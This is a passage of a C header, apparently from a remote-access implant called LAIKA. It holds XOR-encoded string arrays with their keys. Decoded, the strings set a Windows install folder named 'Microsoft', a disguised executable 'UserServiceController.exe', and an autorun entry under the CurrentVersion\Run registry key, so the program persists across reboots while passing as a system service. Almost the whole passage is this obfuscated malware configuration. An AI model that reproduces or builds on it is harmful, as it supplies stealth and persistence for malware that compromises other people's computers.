0x86, 0x1d, 0x1f, 0x45, 0x7b, 0x4b, 0x3c, 0x48, 0x71, 0xd4, 0x32, 0x04, 0x2f, 0x80, 0x4e, 0x0e, 0x5e, 0xc7, 0xcb, 0x81, 0x26, 0xe3, 0xaa, 0x80, 0x5e, 0x9a, 0x46, 0xd0, 0x83, 0xef, 0x2a, 0x89, 0x8d, 0xc8, 0xce, 0x09, 0x14, 0x8b, 0x51, 0x05, 0x60, 0x03, 0x09, 0x8f, 0x83, 0x58, 0x9d, 0x61, 0x9f, 0xe8, 0x62, 0xc5, 0xcc, 0x0d, 0x47, 0xaa, 0x27, 0x0d, 0xfa, 0x2b, 0xfd, 0x26, 0xb4, 0x8b, 0x6e, 0x04, 0x94, 0x83, 0x8f, 0x65, 0x88, 0x6f, 0xe7, 0x12, 0xfe, 0x6b, 0xe9, 0x1c, 0xcc, 0x89, 0x84, 0x2f, 0xcf, 0x51, 0xbc, 0x96, 0x7b, 0x63, 0xa3, 0x76, 0x8e, 0xa1, 0x1c, 0xc3, 0xac, 0x8b, 0x47, 0xc0, 0x8e, 0xd6, 0x26, 0x17, 0x46, 0x0e, 0xa8, 0xc4, 0xf8, 0x92, 0x60, 0x45, 0x9c, 0xe4, 0x75, 0x6c, 0xb5, 0xb1, 0x03, 0x31, 0x15, 0x26, 0xa7, 0x24, 0xc8, 0xc4, 0xe7, 0xf4, 0xcf, 0x2f, 0xb6, 0x5e, 0x85, 0x5c, 0xf4, 0x4b, 0xea, 0x9e, 0x8f, 0xe3, 0xb0, 0xef, 0xa9, 0x4d, 0x54, 0x9e, 0x39, 0x0a, 0x50, 0x3c, 0xba, 0x65, 0x63, 0x62, 0x09, 0xab, 0xa6, 0xf0, 0x20, 0xf5, 0x9f, 0xd6, 0x54, 0x25, 0xb3, 0x4a, 0xef, 0x9e, 0xe8, 0x7f, 0x02, 0x99, 0x6f, 0xab, 0x67, 0xc3, 0x4a, 0xa0, 0x4d, 0x1a, 0x5d, 0x08, 0x00, 0x40, 0xea, 0x09, 0xeb, 0x11, 0xfa, 0x8b, 0x08, 0x1a, 0x63, 0x5c, 0x40, 0x96, 0xa6, 0x30, 0x35, 0x0f, 0xb0, 0xb6, 0x29, 0x9f, 0x63, 0x90, 0xe3, 0x2d, 0xb0, 0x31, 0x48, 0x0e, 0xb9, 0x48, 0x4e, 0xa4, 0x51, 0xb9, 0x35, 0xcb, 0x46, 0x3d, 0xe6, 0x29, 0x9a, 0xa6, 0xbf, 0xc0, 0x56, 0xf4, 0x50, 0x86, 0x2b, 0x79, 0xa6, 0x0e, 0x89, 0x8a, 0x3c, 0x3a, 0x3b, 0x04, 0xc8, 0x74, 0xcb, 0x17, 0x98, 0x1d, 0xd1, 0xce, 0x69, 0x97, 0x0c, 0xcf, 0xc0, 0x26, 0xf5, 0x80, 0x67, 0xcb, 0xf4, 0xb7, 0x53, 0x20, 0xb0, 0x79, 0x2f, 0xb9, 0x83, 0xea, 0x73, 0xbe, 0xee, 0x3c, 0xb3, 0xba, 0x54, 0x4c, 0x57, 0xa5, 0x9a, 0x40, 0x3d, 0x27, 0x10, 0xfd, 0xcc, 0x06, 0xfd, 0x34, 0xd2, 0xf2, 0x6b, 0xa5, 0x92, 0x9b, 0x1f, 0xc1, 0x55, 0x22, 0xac, 0xc9, 0x60, 0x9b, 0x06, 0x14, 0xd5, 0xd9, 0xe0, 0x2e, 0x7f, 0x7b, 0x6e, 0x3c, 0xa2};
#define LAIKA_WIN_MUTEX_KEY 0xfe
#define LAIKA_WIN_MUTEX_DATA {0xc9, 0x9d, 0x9f, 0xc6, 0xcb, 0xcb, 0xca, 0xd0, 0xce, 0xfe, 0xb9, 0x70, 0x84, 0xb7, 0x24, 0xd6, 0x2a, 0x90, 0x7c, 0xbd, 0x2c, 0x1b, 0xfe, 0x82, 0x3d, 0xac, 0xcb, 0x1e, 0xc7, 0xd1, 0x32, 0x1e, 0x2c, 0x13, 0x4c, 0x2b, 0x8f, 0x3a, 0x68, 0xb1, 0xb8, 0x22, 0x22, 0x3e, 0x5a, 0x47, 0x15, 0x84, 0x57, 0x12, 0xc1, 0x83, 0xac, 0xc1, 0x85, 0x6a, 0xed, 0xd0, 0x88, 0x35, 0x23, 0x3a, 0x53, 0x4f, 0x4e, 0x1f, 0x7a, 0x5d, 0xd9, 0xe2, 0x0f, 0x92, 0x85, 0xb1, 0x50, 0x5f, 0x78, 0x66, 0x63, 0xcf, 0xf7, 0x26, 0xd2, 0x24, 0x67, 0x59, 0x8e, 0x55, 0x2a, 0x96, 0x0a, 0xcc, 0xd1, 0x5e, 0x1c, 0x20, 0xfc, 0x97, 0xfc, 0xd6, 0xf9, 0x0c, 0xe9, 0x7f, 0x3d, 0x3a, 0xde, 0xb5, 0x20, 0x43, 0x05, 0x18, 0xe8, 0xd8, 0x3d, 0x50, 0xb1, 0x4b, 0x25, 0x5b, 0xe2, 0xae, 0x29, 0x34, 0x8c, 0x45, 0xd3, 0x8a, 0x5c, 0xd0, 0xe0, 0x57, 0x5c, 0xca, 0x56, 0x9a, 0x06, 0x36, 0xcf, 0xa5, 0xf8, 0xd5, 0x3e, 0x61, 0xae, 0x7b, 0x31, 0x60, 0x46, 0x56, 0xbb, 0xa8, 0x84, 0x64, 0xdc, 0x12, 0xaa, 0x30, 0x9c, 0x07, 0x01, 0x7d, 0x5e, 0x5e, 0xc8, 0xb5, 0x78, 0x4e, 0x6b, 0xc7, 0xf3, 0xe3, 0x9d, 0x32, 0x45, 0xcb, 0x2d, 0x76, 0x2c, 0xf3, 0x4c, 0x68, 0x9c, 0xd0, 0x4c, 0xf9, 0xe2, 0xf6, 0x2a, 0xfe, 0x7e, 0xab, 0xfc, 0xdc, 0x89, 0xc5, 0x12, 0x02, 0x93, 0xfc, 0xc9, 0x87, 0x60, 0xe7, 0x3a, 0x25, 0xb3, 0xe6, 0x1b, 0x60, 0xda, 0xe6, 0x48, 0xf7, 0x38, 0x94, 0xf1, 0x1b, 0x8c, 0x9b, 0x9a, 0x0b, 0x47, 0x97, 0x67, 0xd0, 0xdc, 0xf9, 0xd2, 0xef, 0x76, 0x1d, 0x77, 0x57, 0x05, 0x31, 0x7c, 0x38, 0x19, 0x18, 0x98, 0xf3, 0xfe, 0xe0, 0xeb, 0x37, 0xf5, 0x5d, 0xd2, 0x82, 0xf9, 0xec, 0x0d, 0x41, 0x04, 0xf3, 0x92, 0xe0, 0x6d, 0xe4, 0xd0, 0x64, 0x02, 0xc7, 0x3b, 0x86, 0x79, 0x37, 0x3f, 0x92, 0x4f, 0xd7, 0x06, 0xce, 0x39, 0x72, 0x06, 0x2f, 0x4f, 0x58, 0x31, 0x49, 0x45, 0xbd, 0x0b, 0x49, 0x31, 0x9d, 0xa9, 0x1f, 0x82, 0xf9, 0x03, 0x05, 0x42, 0x3e, 0x0b, 0xbb, 0x75, 0x4a, 0xcd, 0xc5, 0xa2, 0xd3, 0x14, 0xdb, 0xc5, 0x1a, 0x8a, 0x16, 0xf2, 0xbb, 0xde, 0x38, 0xf8, 0xe9, 0x82, 0x2a, 0x07, 0xab, 0xc8, 0x0a, 0xa6, 0xcb, 0x8e, 0xe8, 0x0a, 0x99, 0xa4, 0x80, 0xe4, 0x72, 0xc5, 0x87, 0xc5, 0x59, 0xe2, 0x8c, 0x73, 0x6d, 0x22, 0x66, 0xa8, 0x01, 0x1f, 0xa1, 0x6b, 0x21, 0x4b, 0x72, 0xcc, 0x15, 0xfb, 0x73, 0x60, 0x8a, 0x5c, 0x6b, 0x25, 0x80, 0x6b, 0x89, 0xf2, 0xb0, 0x90, 0x39, 0x0a, 0x73, 0xc5, 0xfc, 0x60, 0xe7, 0xe3, 0x09, 0x68, 0x03, 0x2a, 0xd3, 0x24, 0x75, 0xc6, 0xf0, 0x0a, 0xc2, 0xe4, 0x6b, 0x4e, 0x41, 0x56, 0xf2, 0xc2, 0x41, 0xfb, 0x35, 0xf1, 0x8c, 0x6e, 0x7b, 0x7f, 0xb3, 0x78, 0xdf, 0x1b, 0xdb, 0x68, 0x84, 0xde, 0x92, 0xd7, 0x82, 0x87, 0x9e, 0xf3, 0x12, 0x62, 0xd8, 0xfc, 0x30, 0x99, 0x53, 0xa2, 0xdb, 0x94, 0x9e, 0x12, 0x06, 0x2b, 0x00, 0x81, 0xaa, 0xb4, 0x79, 0x0a, 0x4f, 0x56, 0x72, 0xd3, 0xb4, 0x84, 0xac, 0xb7, 0x8b, 0xca, 0xab, 0x9d, 0x2d, 0x84, 0x9a, 0xdc, 0x9d, 0x6d, 0x7f, 0x7a, 0x81, 0x1e, 0x8c, 0x07, 0xc8, 0x0c, 0x08, 0xf2, 0x40, 0x82, 0xfc, 0x90, 0x58, 0xee, 0xe3, 0x8c, 0x73, 0x90, 0x44, 0x00, 0xdb, 0xef, 0x1d, 0x88, 0xf3, 0x38, 0x66, 0x92, 0xa5, 0x65, 0x8c, 0xa7, 0x84, 0x98, 0xae, 0xcc, 0xa4, 0xb7, 0xc0, 0xe5, 0xb9, 0x3d, 0x76, 0x91, 0x2d, 0x5a, 0x1e, 0x20, 0x6b, 0xe2, 0x9f, 0x47, 0x52, 0xbd, 0xcf, 0xc6, 0xf5, 0xb5, 0x59};
#define LAIKA_WIN_INSTALL_DIR_KEY 0x1b
#define LAIKA_WIN_INSTALL_DIR_DATA {0x56, 0x72, 0x78, 0x69, 0x74, 0x68, 0x74, 0x7d, 0x6f, 0x1b, 0x1c, 0x65, 0x42, 0x20, 0xfd, 0x71, 0xec, 0xa2, 0x29, 0xad, 0x08, 0x62, 0xeb, 0x7e, 0x73, 0x98, 0x59, 0x11, 0xb8, 0xc4, 0xf3, 0x59, 0x8b, 0x47, 0x96, 0xda, 0x8d, 0x0c, 0x91, 0xe6, 0xa6, 0xad, 0xcb, 0xe9, 0xcd, 0xc9, 0x5b, 0xba, 0x6c, 0x04, 0xe8, 0x75, 0xe5, 0x54, 0x73, 0x59, 0xec, 0x4c, 0xe9, 0x25, 0x11, 0x5e, 0xfd, 0x1c, 0x25, 0x94, 0xf7, 0xb2, 0x20, 0x09, 0x19, 0xc7, 0xb6, 0xe4, 0x31, 0x04, 0xae, 0x0c, 0x3e, 0x9a, 0x8f, 0x27, 0x8f, 0x75, 0xfa, 0x04, 0x4e, 0xe7, 0x50, 0x38, 0x0e, 0xe1, 0x16, 0x8b, 0x7d, 0x3b, 0xa0, 0xf4, 0xed, 0xc0, 0xfd, 0x07, 0x08, 0x34, 0xeb, 0xb8, 0x38, 0x9a, 0xc4, 0xf6, 0x36, 0x54, 0x9d, 0x45, 0x49, 0x99, 0x49, 0x97, 0x81, 0x1a, 0x50, 0x0f, 0x7b, 0x66, 0x9b, 0xf8, 0xa2, 0x3c, 0x6e, 0x90, 0x7c, 0x6c, 0x18, 0x85, 0xa1, 0x04, 0x3e, 0x59, 0x1f, 0x83, 0x50, 0x55, 0xd7, 0xee, 0x1a, 0xa1, 0x08, 0xe3, 0x39, 0x89, 0xfd, 0x09, 0x19, 0xf8, 0xef, 0x34, 0x71, 0x12, 0xef, 0xdf, 0x22, 0x6c, 0xcc, 0x3a, 0x71, 0x6e, 0x3f, 0x30, 0x47, 0x5e, 0xb3, 0x18, 0x33, 0x0b, 0x86, 0x4d, 0xac, 0x8e, 0x31, 0x66, 0x97, 0xae, 0x6f, 0xb0, 0x27, 0xde, 0x64, 0x99, 0xf0, 0x54, 0xf8, 0x14, 0xc1, 0xc5, 0x4e, 0x33, 0xb3, 0x0d, 0xe2, 0xfb, 0xea, 0x96, 0x93, 0x1e, 0x22, 0x1a, 0xeb, 0xce, 0x28, 0x9c, 0xb4, 0xbf, 0xcb, 0x25, 0xf0, 0xf2, 0x83, 0x55, 0x0c, 0x75, 0xaa, 0x06, 0x09, 0xeb, 0xcb, 0xd6, 0x9e, 0x00, 0xe4, 0x82, 0xfb, 0x4f, 0x98, 0x0f, 0xed, 0xba, 0x29, 0xd9, 0x0a, 0x51, 0xf5, 0xbe, 0x90, 0xc1, 0x63, 0x81, 0x35, 0xe7, 0x57, 0x41, 0xdc, 0x02, 0xc6, 0xe5, 0x6d, 0x13, 0xbc, 0x0c, 0x13, 0x21, 0x0e, 0x8e, 0x71, 0xa7, 0x9d, 0x5f, 0xe1, 0x46, 0xb8, 0xeb, 0x17, 0x2e, 0xab, 0xa7, 0xf0, 0x0f, 0xa9, 0xa5, 0xf6, 0x01, 0x66, 0xd3, 0x82, 0x2e, 0x39, 0xef, 0xc0, 0x76, 0x7b, 0xd3, 0x97, 0x8a, 0x62, 0x88, 0x32, 0x7f, 0x67, 0x14, 0xc5, 0x9f, 0x80, 0xdc, 0xce, 0x2c, 0x04, 0x3f, 0x3b, 0xad, 0xe4, 0xb2, 0xae, 0x4b, 0x06, 0xb0, 0xf8, 0x40, 0xa0, 0x39, 0xb6, 0x1d, 0x0d, 0xcd, 0xa7, 0xee, 0xd6, 0x59, 0x6e, 0x3e, 0xec, 0xb3, 0xde, 0x6d, 0x90, 0xad, 0x19, 0x15, 0xec, 0xd4, 0xc2, 0x51, 0x87, 0xf1, 0x1c, 0x0d, 0xa2, 0x95, 0xcc, 0x44, 0xce, 0x03, 0xe0, 0xdc, 0xd1, 0x08, 0xcb, 0xa8, 0x61, 0xba, 0x66, 0xcd, 0x6e, 0x45, 0xbb, 0x7f, 0x72, 0xd4, 0x94, 0x5f, 0xa9, 0xd6, 0x30, 0xb0, 0xc8, 0x4d, 0x3e, 0xeb, 0xe2, 0x0b, 0xaf, 0xb1, 0x0f, 0x90, 0x0e, 0x60, 0x98, 0x5a, 0x88, 0x79, 0x15, 0xee, 0x47, 0x03, 0x35, 0x03, 0x82, 0x27, 0x58, 0x96, 0x87, 0x81, 0x6e, 0xb7, 0x33, 0x37, 0x84, 0x71, 0xa2, 0x67, 0xfb, 0x52, 0x99, 0x8a, 0xe2, 0xa7, 0xea, 0xfa, 0x02, 0xf2, 0x74, 0x96, 0xe2, 0x3c, 0x9a, 0x97, 0xbe, 0x9c, 0xbe, 0x96, 0x34, 0xc5, 0x19, 0xa2, 0xfd, 0x4c, 0x59, 0x82, 0x3d, 0xfc, 0xea, 0xb8, 0xce, 0x84, 0x44, 0xb2, 0xab, 0xae, 0x2d, 0xae, 0x22, 0x22, 0x45, 0x05, 0xdd, 0xdf, 0x1c, 0x1c, 0x7d, 0x5a, 0xb3, 0xb1, 0x21, 0xcc, 0xd3, 0x1f, 0x98, 0xac, 0x21, 0xd5, 0xa9, 0x8b, 0x0e, 0x79, 0x10, 0x52, 0xab, 0xbc, 0x81, 0x58, 0xea, 0xa3, 0xf9, 0x30, 0x28, 0xd7, 0x90, 0x44, 0xf4, 0x8d, 0x1e, 0xa8, 0xbe, 0x3f, 0x75, 0x92, 0xdd, 0x0e, 0x3f, 0x00, 0x63, 0x69, 0x8b, 0x71, 0x62, 0x1c, 0x44, 0x8d, 0x58, 0x45, 0x65, 0x43, 0x68, 0x60};
#define LAIKA_WIN_INSTALL_FILE_KEY 0xf2
#define LAIKA_WIN_INSTALL_FILE_DATA {0xa7, 0x81, 0x97, 0x80, 0xa1, 0x97, 0x80, 0x84, 0x9b, 0x91, 0x97, 0xb1, 0x9d, 0x9c, 0x86, 0x80, 0x9d, 0x9e, 0x9e, 0x97, 0x80, 0xdc, 0x97, 0x8a, 0x97, 0xf2, 0x90, 0x38, 0x83, 0x54, 0x2d, 0x90, 0x72, 0x55, 0x4f, 0x32, 0x4a, 0x61, 0x10, 0x58, 0xa1, 0x8f, 0x3b, 0x8a, 0x1c, 0xad, 0x6c, 0x38, 0x71, 0x79, 0x10, 0xb6, 0xde, 0x53, 0x1f, 0x3f, 0xc5, 0x2f, 0xf7, 0xc9, 0x03, 0xa4, 0x5a, 0x75, 0xfa, 0xaa, 0x27, 0x45, 0x0c, 0x38, 0x1e, 0x2d, 0xc7, 0x59, 0x37, 0x63, 0x86, 0xa3, 0x9b, 0x77, 0x1d, 0x2b, 0x2e, 0x7c, 0x7e, 0xcc, 0xbb, 0xc4, 0x7b, 0xb3, 0x8e, 0x7e, 0x59, 0xe8, 0x74, 0xd3, 0x13, 0x9b, 0x19, 0x20, 0x53, 0xb6, 0xcc, 0x1c, 0x90, 0x05, 0xfe, 0x17, 0x28, 0x1b, 0x8f, 0xc5, 0x46, 0x3d, 0x42, 0x45, 0x8a, 0xfd, 0x0a, 0x06, 0x32, 0x98, 0x05, 0x8b, 0x01, 0x79, 0xde, 0x15, 0x94, 0x77, 0xb4, 0xe8, 0x2f, 0x81, 0x84, 0xbf, 0x06, 0x83, 0x56, 0x2f, 0x9e, 0x65, 0xf4, 0xe5, 0xa3, 0x37, 0x2b, 0xad, 0xb4, 0xb4, 0xb3, 0xe6, 0x4d, 0x38, 0xf1, 0xcd, 0xb1, 0xd0, 0xe2, 0x47, 0x49, 0x17, 0xaf, 0xf7, 0x19, 0x34, 0x37, 0x1f, 0x37, 0x8d, 0xcd, 0xd6, 0xf3, 0xc2, 0x3c, 0x17, 0x79, 0xe6, 0xc4, 0x2f, 0x9b, 0xf7, 0x95, 0x68, 0x31, 0x88, 0x36, 0xe2, 0xd8, 0x99, 0xa9, 0xa1, 0xb0, 0xd8, 0x19, 0xc9, 0x8c, 0x50, 0x69, 0xc4, 0xde, 0x37, 0x9b, 0x52, 0xfa, 0x57, 0x69, 0xf3, 0x3e, 0xad, 0xa2, 0xd9, 0xa5, 0x39, 0x42, 0xd6, 0x41, 0xf7, 0x3a, 0x99, 0x91, 0x63, 0x3c, 0xc2, 0x3d, 0xd4, 0x0c, 0xc9, 0x26, 0x75, 0x0e, 0x84, 0xad, 0xa9, 0xd6, 0x28, 0x80, 0xbf, 0x1c, 0xbe, 0xec, 0x3f, 0x98, 0x92, 0xf7, 0x5a, 0xe9, 0x39, 0x53, 0xa3, 0x52, 0x64, 0x07, 0x8e, 0x27, 0xc3, 0xe3, 0x34, 0x0e, 0x0a, 0x29, 0x1c, 0x8e, 0xd6, 0x46, 0xe4, 0xfe, 0xc6, 0x24, 0x9b, 0x86, 0x11, 0x5a, 0x9e, 0x23, 0x52, 0x79, 0x0d, 0x8b, 0xcc, 0xb0, 0x5d, 0xb0, 0x38, 0xec, 0xd8, 0xfb, 0xd0, 0x8c, 0x0a, 0x5a, 0xb5, 0xa6, 0x68, 0x8d, 0xec, 0x4d, 0x0c, 0xb3, 0xf0, 0x27, 0xb9, 0x02, 0x81, 0xd8, 0x25, 0x53, 0x52, 0xb2, 0x5e, 0x9e, 0xe2, 0xbc, 0x4f, 0x1b, 0x29, 0x28, 0x97, 0x79, 0x34, 0x21, 0xd3, 0xea, 0xc7, 0x3c, 0xf7, 0xb4, 0x09, 0x83, 0xe8, 0xf9, 0x2b, 0x22, 0xfb, 0x2c, 0xfa, 0xa0, 0x80, 0xcc, 0xd2, 0xde, 0x6b, 0xb6, 0x9b, 0xbb, 0x51, 0xc4, 0x63, 0xe8, 0x3e, 0x98, 0x8a, 0x12, 0x03, 0x52, 0xcd, 0xfa, 0x87, 0xd6, 0xfd, 0xef, 0xd0, 0x29, 0x91, 0x4c, 0x56, 0x0d, 0x6d, 0xd6, 0xd9, 0x40, 0xb5, 0x46, 0x76, 0x52, 0x81, 0x48, 0x96, 0xe4, 0xb0, 0xd5, 0x7d, 0x3b, 0x67, 0x80, 0x0e, 0x36, 0xfa, 0x95, 0x0d, 0xf9, 0x05, 0x5e, 0xa2, 0x96, 0x2a, 0xf8, 0xa3, 0x97, 0x4f, 0xfd, 0x58, 0x85, 0xc3, 0x4e, 0xd7, 0x45, 0x96, 0xed, 0x2a, 0xc7, 0xc3, 0x28, 0x03, 0x2c, 0x28, 0x11, 0x62, 0xa3, 0x26, 0xee, 0x1d, 0xaa, 0x4d, 0xbf, 0x42, 0x78, 0x39, 0x65, 0x8f, 0x88, 0x63, 0x67, 0x0e, 0x27, 0xb6, 0x65, 0xeb, 0xcc, 0x54, 0x96, 0x94, 0x97, 0xbe, 0x98, 0x43, 0x66, 0x29, 0xa5, 0x0a, 0xcf, 0x15, 0x27, 0x7a, 0xe1, 0x67, 0x3c, 0xd9, 0xa0, 0xa2, 0x6a, 0xa8, 0x85, 0xd1, 0x37, 0x2d, 0x08, 0x1c, 0x19, 0xd5, 0xef, 0xaf, 0x6a, 0x88, 0xed, 0x82, 0xcb, 0xd4, 0x2c, 0xf1, 0xde, 0x7b, 0x86, 0x86, 0xf5, 0x68, 0xed, 0xb2, 0x43, 0x0e, 0xd4, 0x2d, 0x36, 0x5a, 0x7e, 0x6d, 0x07, 0x87, 0x0a, 0xa0, 0xdc, 0xf9, 0xcf, 0xc6, 0x02, 0xbe, 0xc9, 0x4e, 0x93, 0xf5, 0xbf, 0xf1};
#define LAIKA_WIN_REG_KEY_KEY 0x71
#define LAIKA_WIN_REG_KEY_DATA {0x22, 0x1e, 0x17, 0x05, 0x06, 0x10, 0x03, 0x14, 0x2d, 0x3c, 0x18, 0x12, 0x03, 0x1e, 0x02, 0x1e, 0x17, 0x05, 0x2d, 0x26, 0x18, 0x1f, 0x15, 0x1e, 0x06, 0x02, 0x2d, 0x32, 0x04, 0x03, 0x03, 0x14, 0x1f, 0x05, 0x27, 0x14, 0x03, 0x02, 0x18, 0x1e, 0x1f, 0x2d, 0x23, 0x04, 0x1f, 0x71, 0x46, 0xf7, 0xe6, 0x2e, 0x65, 0x99, 0x71, 0x73, 0xed, 0x1e, 0x2a, 0x49, 0x9d, 0x17, 0x50, 0xa4, 0x21, 0xf0, 0x81, 0x9b, 0xc1, 0x48, 0x9d, 0x00, 0x12, 0x6b, 0x13, 0x87, 0x2b, 0x84, 0x78, 0xf0, 0x7d, 0xdf, 0x20, 0xe2, 0xf8, 0x11, 0xd6, 0xe7, 0xaf, 0x80, 0xb0, 0xcc, 0x97, 0x80, 0x71, 0xb9, 0x72, 0x72, 0x55, 0xb3, 0x3a, 0x72, 0x33, 0xcc, 0x5e, 0xc5, 0xd3, 0x89, 0x4a, 0x4d, 0xfa, 0x47, 0xac, 0x1b, 0xaa, 0xa5, 0xab, 0x81, 0x0d, 0x5b, 0x02, 0xbd, 0x28, 0x19, 0x3f, 0x19, 0xd2, 0x31, 0x8b, 0xa7, 0x64, 0x46, 0x9a, 0x17, 0x92, 0xf8, 0xdc, 0x66, 0x02, 0x27, 0x33, 0xfc, 0x6f, 0xdf, 0x97, 0x99, 0x06, 0x44, 0x1b, 0x92, 0x9f, 0x9c, 0x51, 0x48, 0xb5, 0x10, 0x61, 0x09, 0xc0, 0x6d, 0xb0, 0x25, 0x33, 0xca, 0x3c, 0xc5, 0xc3, 0x98, 0x2c, 0xc6, 0xbf, 0xdf, 0xc3, 0xae, 0xbf, 0x5c, 0x48, 0x45, 0xa0, 0xe2, 0xd8, 0xbf, 0xfe, 0xa9, 0x87, 0x35, 0x39, 0x69, 0x3e, 0xf9, 0xd6, 0x6e, 0x9e, 0x89, 0x3a, 0x5a, 0x4f, 0x7d, 0xf2, 0xfa, 0x44, 0x32, 0xda, 0x88, 0x61, 0x1b, 0xe4, 0x29, 0x60, 0x05, 0x0d, 0xb8, 0x44, 0x8b, 0xe1, 0xcc, 0xc0, 0x9a, 0xb5, 0x7e, 0x94, 0x8c, 0xed, 0xb2, 0x95, 0xa7, 0x0d, 0xe4, 0x25, 0x7f, 0xdf, 0xe9, 0xb2, 0xbb, 0x72, 0x14, 0x56, 0xd6, 0x3d, 0xb6, 0xdb, 0xc9, 0xef, 0x9f, 0x56, 0x51, 0xeb, 0x96, 0xec, 0xa1, 0x16, 0x01, 0xad, 0x83, 0xb4, 0x43, 0xaa, 0x41, 0xa7, 0xcf, 0xc1, 0x88, 0x39, 0xf3, 0xc3, 0xab, 0x08, 0x1a, 0x82, 0xc4, 0x50, 0xdd, 0x0f, 0xbf, 0xfd, 0x65, 0x12, 0xe9, 0x7b, 0x7e, 0x0c, 0x91, 0x7f, 0x39, 0x94, 0x34, 0x7d, 0x3f, 0x76, 0xa4, 0x8f, 0xb7, 0xac, 0xc8, 0xab, 0x70, 0x75, 0x33, 0x0a, 0x77, 0xf7, 0xda, 0xd5, 0x07, 0x1a, 0xd3, 0xeb, 0xab, 0x3d, 0x68, 0x2a, 0x49, 0x79, 0xaa, 0x83, 0x0f, 0xde, 0x80, 0x4e, 0xd4, 0x25, 0xdd, 0x0c, 0xd2, 0xa7, 0xb7, 0xc2, 0x9c, 0xea, 0x4d, 0x14, 0x63, 0xa7, 0xe9, 0xe9, 0x41, 0x3d, 0xd6, 0xed, 0x7b, 0xbe, 0x18, 0x44, 0xb7, 0xc2, 0xc7, 0xc6, 0x22, 0xc7, 0x95, 0x76, 0x6d, 0xf2, 0x83, 0xbf, 0x1a, 0xba, 0x02, 0xb6, 0xa6, 0xce, 0x4b, 0x89, 0x76, 0xb4, 0x73, 0xb8, 0x72, 0xc9, 0x26, 0xed, 0x88, 0x3e, 0x32, 0xc0, 0x81, 0x7a, 0x87, 0x23, 0x42, 0x9c, 0x99, 0x2f, 0x90, 0x1d, 0xee, 0x2a, 0x58, 0xf1, 0xe1, 0xfe, 0xc0, 0xac, 0x08, 0xb7, 0xe0, 0x7b, 0xef, 0x53, 0xc5, 0x16, 0xc0, 0xcd, 0xd3, 0xf3, 0x8e, 0x55, 0x6e, 0x17, 0x78, 0x30, 0x33, 0x92, 0x60, 0xc3, 0x2f, 0x4f, 0xee, 0x87, 0xc0, 0x50, 0x86, 0x02, 0x7c, 0x0e, 0xb9, 0xdc, 0x8a, 0x29, 0xb0, 0x50, 0x3f, 0x71, 0x1e, 0x92, 0x65, 0x2d, 0xe8, 0x53, 0x44, 0xe0, 0x84, 0xf6, 0x73, 0x64, 0xbb, 0xa3, 0x33, 0x2a, 0x2b, 0xf4, 0xf9, 0x32, 0xf6, 0x76, 0x40, 0x30, 0xd2, 0x4a, 0x59, 0x83, 0x1a, 0x18, 0xf5, 0xb8, 0xaa, 0x5b, 0xe5, 0x13, 0x2f, 0xa9, 0xf4, 0x33, 0xa0, 0xe7, 0x97, 0xdb, 0x8b, 0xca, 0x06, 0x37, 0x3f, 0x00, 0xe8, 0xb5, 0xf5, 0xa8, 0x65, 0xc9, 0xf3, 0xbe, 0xcc, 0x8d, 0x56, 0xc2, 0x46, 0x02, 0x9e, 0xab, 0x94, 0xcd, 0x55, 0x89, 0x01, 0x76, 0xf1, 0x18, 0x52, 0x7d, 0x62, 0xd8, 0x34, 0x22, 0x58};
#define LAIKA_WIN_REG_VAL_KEY 0x1d
#define LAIKA_WIN_REG_VAL_DATA {0x48, 0x6e, 0x78, 0x6f, 0x4e, 0x78, 0x6f, 0x6b, 0x74, 0x7e, 0x78, 0x5e, 0x72, 0x73, 0x69, 0x6f, 0x72, 0x71, 0x71, 0x78, 0x6f, 0x1d, 0x57, 0x4f, 0x46, 0xbd, 0x98, 0xb9, 0xfb, 0x65, 0x47, 0x53, 0xa8, 0x0e, 0xd4, 0x47, 0xb9, 0xe8, 0x94, 0x8f, 0x73, 0x15, 0x06, 0x65, 0x2d, 0x58, 0x62, 0x0f, 0x31, 0x17, 0x31, 0x0a, 0xb3, 0x89, 0x59, 0xf9, 0xc6, 0x71, 0xb3, 0xc2, 0x56, 0x7b, 0x95, 0x7e, 0x89, 0xe9, 0xc5, 0x43, 0xd3, 0xd9, 0x52, 0xc6, 0xee, 0x58, 0xab, 0x9b, 0x31, 0x0e, 0x2b, 0xe1, 0xa4, 0xdb, 0xeb, 0x59, 0xe4, 0xc4, 0xd2, 0xab, 0xb5, 0x07, 0xee, 0x8c, 0x82, 0x84, 0x0b, 0x0c, 0x6f, 0x51, 0xce, 0xc2, 0x2b, 0x22, 0x89, 0x9a, 0xf9, 0x35, 0xb5, 0xaa, 0xc2, 0xe0, 0x8d, 0x68, 0xbd, 0xf8, 0x41, 0xa2, 0x3e, 0x14, 0xce, 0xf3, 0x1b, 0xbd, 0x00, 0x9d, 0x42, 0x0c, 0x29, 0x31, 0xdc, 0x78, 0xf3, 0x87, 0x9a, 0x7d, 0x22, 0x14, 0x32, 0x58, 0xbf, 0xf5, 0x39, 0xcc, 0xdd, 0x76, 0x45, 0x1f, 0x99, 0x83, 0x33, 0x68, 0xf7, 0xce, 0x26, 0xf7, 0xeb, 0xe7, 0x04, 0x16, 0x99, 0x60, 0x8e, 0x8d, 0xe8, 0xa8, 0x8b, 0x8a, 0x3c, 0x3d, 0xe2, 0x7b, 0x33, 0x9c, 0x48, 0x11, 0x92, 0x0e, 0xaf, 0x2c, 0x91, 0xe3, 0x14, 0x89, 0x32, 0x3a, 0x82, 0x1e, 0xa2, 0x06, 0xb3, 0x3c, 0x67, 0xc1, 0x49, 0xcf, 0xe9, 0x54, 0x5a, 0xa6, 0x92, 0xbd, 0x22, 0x45, 0xd9, 0xea, 0xd6, 0x6c, 0xf8, 0x86, 0x19, 0x8a, 0x6a, 0x2d, 0x94, 0x1c, 0xe7, 0x17, 0xba, 0x8a, 0x9c, 0x6e, 0x46, 0x83, 0xb0, 0x8f, 0x53, 0x9a, 0x64, 0x2e, 0x41, 0x76, 0x6b, 0x64, 0xbb, 0x45, 0xce, 0x92, 0xb1, 0xc7, 0x1a, 0x4a, 0xd1, 0x04, 0x78, 0x66, 0x21, 0x60, 0xfc, 0xdb, 0x6a, 0x1a, 0xc9, 0xb0, 0x9d, 0x7a, 0xbf, 0x71, 0x95, 0x24, 0x9f, 0xd6, 0x9a, 0x0b, 0xba, 0xd6, 0x50, 0x89, 0x69, 0x81, 0xd0, 0x03, 0xcc, 0x23, 0x87, 0xc4, 0x09, 0xa8, 0x25, 0x07, 0x04, 0x8f, 0xa0, 0x4d, 0x40, 0x3e, 0xc8, 0x7f, 0x2f, 0x5e, 0xa4, 0xce, 0xb4, 0xbe, 0x59, 0xef, 0x15, 0x29, 